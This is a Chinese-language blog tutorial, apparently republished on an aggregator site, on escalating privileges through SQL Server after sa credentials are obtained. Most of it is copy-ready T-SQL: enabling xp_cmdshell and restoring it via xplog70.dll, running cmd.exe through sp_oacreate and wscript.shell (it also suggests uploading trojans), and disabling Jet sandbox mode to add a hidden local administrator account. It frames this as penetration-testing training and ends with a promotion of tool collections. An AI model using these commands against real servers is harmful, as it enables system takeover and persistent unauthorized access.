admin管理员组文章数量:1794759
SQL Server 数据库提权的几种方法——提权教程
一、简介
在利用系统溢出漏洞没有效果的情况下,可以采用数据库进行提权。
数据库提权的前提条件:
1、服务器开启数据库服务 2、获取到最高权限用户密码 (除Access数据库外,其他数据库基本都存在数据库提权的可能)
二、使用xp_cmdshell进行提权假设条件: 1、已得到 SQL Server 的sa权限 2、sql server开启外联
本次搭建环境,数据库密码存放文件在,可以通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)
2.1 提权过程使用sql server的客户端连接数据库
sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中 查看扩展存储过程,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以上传dll文件进行删除,其中dll文件要根据sql server 数据库版本进行选择 选择数据库后,再进行新建查询 执行命令后,报错提示 xp_cmdshell 被关闭
EXEC master.dbo.xp_cmdshell 'whoami'那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)
EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;开启 xp_cmdshell 之后,再次执行 EXEC master.dbo.xp_cmdshell 'whoami' 命令,成功提权到system权限。
简单总结:
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。 启用: EXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 关闭: exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure; 执行: EXEC master.dbo.xp_cmdshell '命令' 如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\\Program Files\\Microsoft SQL Server\\MSSQL\\Binn\\xplog70.dll' 三、使用sp_oacreate进行提权执行命令后,报错提示 sp_oacreate组件 被关闭
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami >c:\\\\1.txt'(调用cmd.exe执行命令,如果cmd.exe无法调用或者被删除的话,可以自己上传一个cmd.exe进行调用。除了cmd.exe也可以上传一些木马程序进行执行) 那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;开启之后,whoami查看权限
简单总结
启用: EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; 关闭: EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE; 执行: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami >c:\\\\1.txt' 以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。 四、使用SQL Server 沙盒提权什么是沙盒?
沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
提权操作
执行添加管理员的命令后,报错如下图所示:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')那么输入以下命令,启用Ad Hoc Distributed Queries:
exec sp_configure 'Ad Hoc Distributed Queries',1; reconfigure; exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines', 'SandBoxMode'执行添加一个管理员 margin 命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')net user 查看,发现margin用户成功添加 将margin用户提升到超级管理员权限
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')net localgroup administrators 查看超级管理员组账户有margin
简单总结
--提权语句 exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启, exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; --关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines', 'SandBoxMode' --执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 沙盒模式SandBoxMode参数含义(默认是2) `0`:在任何所有者中禁止启用安全模式 `1` :为仅在允许范围内 `2` :必须在access模式下 `3`:完全开启 openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。 --恢复配置 --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG_DWORD',1; --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; --exec sp_configure 'show advanced options',0;reconfigure;参考链接:blog.51cto/11797152/2411770
注意:这三种提权方式,sql server 2008及以前版本都适用,2012的版本应该可以适用,2016版本比较复杂,没测试过。 目前最多的还是 2008 与 2012 版本 较多
更多资源:
1、web安全工具、渗透测试工具 2、存在漏洞的网站源码与代码审计+漏洞复现教程、 3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频 4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。
版权声明:本文标题:SQL Server 数据库提权的几种方法——提权教程 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1687086876a131698.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论